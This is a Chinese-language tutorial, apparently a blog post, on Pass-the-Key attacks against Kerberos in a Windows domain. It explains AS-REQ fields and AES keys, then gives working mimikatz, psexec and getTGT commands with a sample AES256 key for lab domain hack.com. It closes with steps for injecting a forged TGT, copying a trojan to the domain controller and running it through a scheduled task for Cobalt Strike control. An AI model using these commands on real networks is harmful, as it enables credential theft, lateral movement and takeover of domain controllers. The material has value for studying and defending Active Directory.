一. PTK密钥传递攻击原理
1. PTK介绍
PTK(Pass The key),中文叫密钥传递攻击,PTH传递中,使用的是NTLM-HASH值,PTK使用
AES256或者AES128的方式进行传递,PTK 攻击只能用于kerberos认证中,NTLM认证中没有!
2.PTK的原理-kerberos认证
AS-REQ(AS-requests):主要包含了用户的一些信息,是由客户端发送给AS的数据包。里面有几个
重要信息:
1、 PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳 生成value
PA-DATA pA-PAC-REQUEST,是否包含了PAC
2、 kdc-options 协商字段
3、 cname 请求的用户名
5、 realm: 域名
6、 sname 请求的服务
3.AES KEY 到底是是什么
AES KEY 是kerberos协议中使用的,所以一般域用户才有AES KEY,AES分为两种 aes256和
aes128,本地用户没有aes key
命令:“privilege::debug” “sekurlsa::ekeys”
server2008(加入域)
server 2008(未加入域)
二. PTK的利用条件
根据上面原理的描述,那么进行PTK传递认证的条件有什么
必须是域环境,使用域账号才可以进行PTK
支持aes进行认证
1.KB2871997补丁介绍
Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server2012也可以更新该补丁后获得上述安全保护机制。
介绍增强的安全保护机制中有如下部分几点:
减少存储在内存中的凭据数据
支持现代身份验证(Kerberos AES)
https://blog.csdn.net/Ping_Pig/article/details/109171690
2.PTK攻击
mimikatz进行传递
命令:sekurlsa::pth /user:用户名 /domain:域名或者IP /aes256:aeskey
sekurlsa::pth /user:administrator /domain:DC.hack.com /aes256:e7f05284c76ba55a21d1085d08142514b6fcc71be4c0e8b4164a8adc8c735927
抓包分析一下
这里出现的问题是因为使用mimikatz走的是NTLM挑战响应协议,这里需要换工具测试
psexec进行传递
命令:psexec.exe hack.com/administrator@dc.hack.com -aesKey e7f05284c76ba55a21d1085d08142514b6fcc71be4c0e8b4164a8adc8c735927
抓包分析
这里可以看到走的是kerberos认证协议并且是用aes256
与多台机器进行传递攻击
server 2008(one-pc)
win 10(three-pc)
三. 使用PTK进行上线CS
PTK本质上也是一种认证,本身不具有攻击性,如果是一些特殊账号的KEY被我们知道利用PTK传
递攻击,我们可以生成对应账号的TGT票据,然后将票据导入到内存中,就可以访问对方的电脑
啦
可以使用 getTGT工具申请TGT,然后将TGT导入内存中,实现对目标机器的访问,后续可以配合
计划任务,或者其他的工具进行上线
第一步、生成TGT
可以生成TGT的工具有很多,比如kekeo Rubeus getTGT PS脚本等等,我么使用getTGT
getTGT.exe hack.com/administrator -aesKey e7f05284c76ba55a21d1085d08142514b6fcc71be4c0e8b4164a8adc8c735927
执行完成之后会在当前的目录下生成一个TGT票据,不过后缀是ccache(高速缓存票据)
第二步、将TGT注入到内存
工具有很多,比如kekeo Rubeus getTGT PS,mimikatz 等等,我们使用mimikatz
Kerberos::ptc 票据名字
执行完成之后会在当前的目录下生成一个TGT票据,不过后缀是ccache(凭证高速缓存)
第三步:访问DC的C盘
接下来就是copy木马到DC上,再通过创建计划任务或者是服务运行木马使目标机上线!